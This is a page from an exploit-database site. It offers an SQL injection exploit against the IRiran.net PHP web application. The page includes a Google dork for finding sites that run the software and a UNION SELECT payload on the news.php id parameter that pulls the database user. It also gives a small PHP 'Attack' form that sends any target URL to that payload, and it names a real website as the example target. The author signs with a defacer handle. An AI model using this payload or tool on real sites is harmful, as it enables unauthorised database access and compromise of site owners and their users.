[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

IRiran Remote Sql Injection Vulnerability

Author
md.r00t
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-12506
Category
web applications
Date add
02-06-2010
Platform
php
=========================================
IRiran Remote Sql Injection Vulnerability
=========================================


#------------In The Name Of God------------
# IRiran.net Remote Sql Injection Vulnerability
###################################
#AUTHOR: md.r00t
#Mail: md.r00t.defacer@gmail.com
#Website: www.r00t.gigfa.com
#Forum: http://forum.irangrp.com
###################################
#Google D0rk:
# "Powered by: IRIran.net"
###################################
# Sql Injection:
#---------
#
#Exploit=
-9999+uNIOn+select+1,2,user(),4,5,6,7,8,9,10
#
###################################
# Code:
# This code in a PHP file to be saved:

<html>
<head>
? <title>IRiran.net Remote Sql Injection Vulnerability [Disc0v3red By md.r00t]</title>
</head>
<body>
<b>IRiran.net Remote Sql Injection Vulnerability</b><br>
<b>G00gl3 D0rk: "Powered by: IRIran.net"</b><br>
<a href="http://www.r00t.gigfa.com"><b>md.r00t official web site</b></a><br>
<a href="http://forum.irangrp.com"><b>Iran Group</b></a><br>
Example: http://www.provision.ir/en
<form action="" name="form" method="POST">
Target: <input name="txt" type="text" size="50" value="http://www.provision.ir/en"/>
<input type="submit" name="" value="Attack" />
</form>
<?php
$xpl="/news/news.php?id=-9999+uNIOn+select+1,2,user(),4,5,6,7,8,9,10";
$txt=strip_tags($_POST['txt']);
$link="$txt$xpl";
if($txt)
echo "<meta http-equiv='Refresh' content='0; url=$link'>";
?>
</body>
</html>
####################################
#TNX:
#Aria-Security Team (Persian Security Network),hadihadi(Virangar Security Team)
*****************************************



#  0day.today [2024-12-26]  #